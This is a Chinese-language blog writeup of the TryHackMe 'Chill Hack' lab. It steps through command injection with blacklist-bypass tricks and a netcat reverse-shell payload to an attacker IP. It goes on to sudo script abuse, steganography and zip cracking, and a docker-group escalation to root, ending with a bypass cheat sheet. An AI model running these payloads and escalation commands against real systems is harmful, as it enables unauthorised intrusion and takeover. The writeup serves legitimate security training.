> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.
# TryHackMe Chill Hack writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-chill-hack-writeup-zh-tw/
- Published: 2025-11-10T09:32:01.000Z
- Updated: 2026-07-15T02:50:38.000Z
- Author: Kevin Chen
- Tags: stegano, #docker, tryhackme, #command injection
## 題目資訊
- **平台**: TryHackMe
- **房間名稱**: Chill Hack
- **難度**: Easy
- **目標**: 獲取 user.txt 和 root.txt
- **連結**: [https://tryhackme.com/room/chillhack](https://tryhackme.com/room/chillhack?ref=taiwanding.com)
## 解題流程
### Step 1: 初步偵察 - Nmap 掃描
首先對目標進行端口掃描：
```bash
rustscan -a 10.201.106.243 -b 2000 -t 2000 -- -A -sV -sC
```
**掃描結果:**
```
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Apache httpd 2.4.29
```
**發現:**
- ✅ FTP (21) - 允許匿名登入
- ✅ SSH (22) - OpenSSH
- ✅ HTTP (80) - Apache Web Server
### Step 2: FTP 匿名登入探索
嘗試以匿名身份登入 FTP：
```bash
ftp 10.201.106.243
# Username: anonymous
# Password: (直接按 Enter)
```
**列出檔案:**
```bash
ftp> ls -la
drwxr-xr-x 2 0 115 4096 Oct 03 2020 .
drwxr-xr-x 2 0 115 4096 Oct 03 2020 ..
-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
```
**下載 note.txt:**
```bash
ftp> get note.txt
ftp> exit
```
**查看內容:**
```bash
cat note.txt
```
```
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
```
**關鍵資訊:**
- 💡 有潛在用戶名: **Anurodh**
- 💡 提示有 **command filtering** (命令過濾)
### Step 3: Web 應用探索 - 目錄掃描
使用 feroxbuster 掃描隱藏目錄：
```bash
feroxbuster -u http://10.201.106.243/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 10 -d 2
```
**發現目錄:**
```
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/js (Status: 301)
/secret (Status: 301) ⭐
```
**訪問 `/secret` 發現一個命令執行介面！**
### Step 4: Command Injection - 繞過黑名單過濾
訪問 `http://10.201.106.243/secret/` 發現一個 command input 介面。
**測試基本命令:**
```bash
id
# 成功執行，返回: uid=33(www-data) gid=33(www-data)
```
**嘗試 ls 命令:**
```bash
ls
# 頁面顯示: "Are you a hacker?" ❌
```
**分析黑名單 - 使用 tac 查看 index.php:**
```bash
tac index.php
```
**發現黑名單:**
```php
$blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');
```
**繞過策略 - 使用空變數插入:**
關鍵原理: 在 Bash 中，`${xyz}` 如果 xyz 未定義，會被展開為空字串，因此 `ca${x}t` \= `cat`
**Reverse Shell Payload:**
```bash
r${x}m /tmp/f;mkfifo /tmp/f;ca${x}t /tmp/f|/bin/s${x}h -i 2>&1|n${x}c 10.13.90.144 4444 >/tmp/f
```
**在攻擊機上Windows Powershell開啟 listener:**
```bash
ncat -lnvp 4444
```
**在 /secret 頁面輸入 payload，成功獲得 shell! 🎉**
### Step 5: Shell 穩定化
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
### Step 6: 權限提升 (www-data → apaar)
**檢查 sudo 權限:**
```bash
sudo -l
```
**結果:**
```
User www-data may run the following commands on ip-10-201-106-243:
(apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
```
**查看腳本內容:**
```bash
cat /home/apaar/.helpline.sh
```
```bash
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person, Please enter your message: " msg
$msg 2>/dev/null # ⚠️ 直接執行用戶輸入！
echo "Thank you for your precious time!"
```
**漏洞分析:**
- 腳本會直接執行 `$msg` 變數的內容
- 這是一個明顯的 **Command Injection** 漏洞！
**利用腳本提權:**
```bash
sudo -u apaar /home/apaar/.helpline.sh
```
**互動過程:**
```
Enter the person whom you want to talk with: admin
Hello user! I am admin, Please enter your message: /bin/bash
```
**成功獲得 apaar shell! 🎉**
```bash
whoami
# apaar
```
**獲取 user flag:**
```bash
cat /home/apaar/local.txt
# {USER-FLAG: 9axxxxxxxxxxxxxxxxxxxxxxxx6c}
```
### Step 7: 橫向移動 (apaar → anurodh)
**探索 Web 目錄:**
```bash
cd /var/www/files
ls -la
```
**檔案列表:**
```
-rw-r--r-- 1 root root 391 Oct 3 2020 account.php
-rw-r--r-- 1 root root 453 Oct 3 2020 hacker.php ⭐
drwxr-xr-x 2 root root 4096 Oct 3 2020 images
-rw-r--r-- 1 root root 1153 Oct 3 2020 index.php
-rw-r--r-- 1 root root 545 Oct 3 2020 style.css
```
**查看 hacker.php:**
```bash
cat /var/www/files/hacker.php
```
**關鍵內容:**
```html
You have reached this far.
Look in the dark! You will find your answer
```
**提示分析:**
- 💡 "Look in the dark!" → 暗示**隱寫術** (Steganography)
- 🖼️ 重點圖片: `hacker-with-laptop_23-2147985341.jpg`
**下載圖片到本機:**
方法 1 - 使用 Python HTTP Server:
```bash
# 在 target 機器上
cd /var/www/files/images
python3 -m http.server 8000
```
```bash
# 在 Kali 上
wget http://10.10.XX.XX:8000/hacker-with-laptop_23-2147985341.jpg
```
**使用 Stegseek 提取隱藏檔案:**
```bash
stegseek hacker-with-laptop_23-2147985341.jpg
```
**輸出:**
```
[i] Found passphrase: ""
[i] Original filename: "backup.zip".
[i] Extracting to "hacker-with-laptop_23-2147985341.jpg.out".
```
**確認檔案類型:**
```bash
file hacker-with-laptop_23-2147985341.jpg.out
# Zip archive data
```
**嘗試解壓縮:**
```bash
unzip hacker-with-laptop_23-2147985341.jpg.out
# [hacker-with-laptop_23-2147985341.jpg.out] source_code.php password:
```
需要密碼! 😤
### Step 8: 破解 Zip 密碼
**使用 John the Ripper:**
```bash
# 轉換 zip 為 hash 格式
zip2john hacker-with-laptop_23-2147985341.jpg.out > zip_hash.txt
# 破解
john zip_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
**或使用 fcrackzip:**
```bash
└─$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt hacker-with-laptop_23-2147985341.jpg.out
PASSWORD FOUND!!!!: pw == pass1word
```
**破解成功! 密碼: pass1word**
**解壓縮:**
```bash
unzip hacker-with-laptop_23-2147985341.jpg.out
# 輸入密碼: pass1word
```
**查看 source\_code.php:**
```bash
cat source_code.php
```
**關鍵代碼:**
```php
if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
{
$random = rand(1000,9999);
// ...
echo "Welcome Anurodh!";
```
**發現:**
- 💡 這是 **anurodh** 用戶的密碼（Base64 編碼）
- 🔑 解碼即可獲得明文密碼
**解碼 Base64:**
```bash
echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d
# !d0ntKn0wmYp@ssw0rd
```
**SSH 登入 anurodh:**
```bash
ssh anurodh@10.10.XX.XX
# Password: !d0ntKn0wmYp@ssw0rd
```
**成功登入! 🎉**
### Step 9: 權限提升 (anurodh → root)
**檢查用戶所屬群組:**
```bash
id
```
**輸出:**
```
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker) ⭐
```
**關鍵發現: anurodh 在 `docker` 群組中！**
**檢查可用的 Docker images:**
```bash
docker images
```
**結果:**
```
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest a24bb4013296 5 years ago 5.57MB
hello-world latest bf756fb1ae65 5 years ago 13.3kB
```
**Docker 提權原理:**
1. Docker 群組成員可以啟動容器
2. 容器內部預設是 **root 權限**
3. 可以將主機的根目錄掛載到容器
4. 通過 `chroot` 切換到主機根目錄 = **以 root 身份存取主機!**
**執行 Docker 提權:**
```bash
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```
**參數解釋:**
- `docker run` \- 啟動新容器
- `-v /:/mnt` \- 將主機的 `/` 掛載到容器的 `/mnt`
- `--rm` \- 容器結束後自動刪除
- `-it` \- 互動式終端
- `alpine` \- 使用 alpine Linux image
- `chroot /mnt sh` \- 切換根目錄到 `/mnt` 並執行 shell
**驗證權限:**
```bash
whoami
# root ✅
```
**獲取 root flag:**
```bash
cd /root
ls
# proof.txt snap
cat proof.txt
```
**Flag 內容:**
```
{ROOT-FLAG: Redacted}
Congratulations! You have successfully completed the challenge.
,-.-. ,----.
,-..-.-./ \==\ ,-.-` , \ _.-. _.-. _,..---._
|, \=/\=|- |==||==|- _.` .-,.'| .-,.'| /==/, - \
|- |/ |/ , /==/|==| `.-.|==|, | |==|, | |==| _ _\
\, , _|==/==/_ , /|==|- | |==|- | |==| .=. |
| - - , |==|==| .-' |==|, | |==|, | |==|,| | -|
\ , - /==/|==|_ `-._|==|- `-._|==|- `-._ |==| '=' /
|- /\ /==/ /==/ , //==/ - , ,/==/ - , ,/ |==|-, _`/
`--` `--` `--`-----`` `--`-----`--`-----' `-.`.____.'
--------------------------------------------Designed By -------------------------------------------------------
| Anurodh Acharya |
---------------------
```
**完成! 🏆**
## 技術要點總結
### 1\. Command Injection 黑名單繞過
```bash
ca${x}t /etc/passwd # 空變數插入
c"at" /etc/passwd # 雙引號分割
c\at /etc/passwd # 反斜線
tac /etc/passwd # 替代命令
```
### 2\. 隱寫術工具
```bash
stegseek image.jpg # JPG 自動爆破
steghide extract -sf image.jpg # 手動提取
zsteg image.png -a # PNG 掃描
```
### 3\. ZIP 密碼破解
```bash
fcrackzip -u -D -p rockyou.txt backup.zip
# 或
zip2john backup.zip > hash.txt
john hash.txt --wordlist=rockyou.txt
```
### 4\. Docker 群組提權
```bash
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```
檢測: `id` 查看是否在 docker 群組
## 經驗分享
### 關於Step 7: 橫向移動 (apaar → anurodh)
這一步筆者卡了超久，最後是請Claude AI查詢writeup，才發現要再去找/var/www下面目錄中的檔案，找到檔案之後，也沒有馬上知道要測試隱寫術，而是同樣透過writeup的提示才去分析那個圖片，我自己檢討來說，等於還是需要檢查網站的一些特殊檔案，通常情況，拿到user flag比較容易專注在提權，而這次是要再轉換成其他使用者一次，再行提權，而轉換這一步，就需要找到使用者的一些密碼，後續就比較直觀\~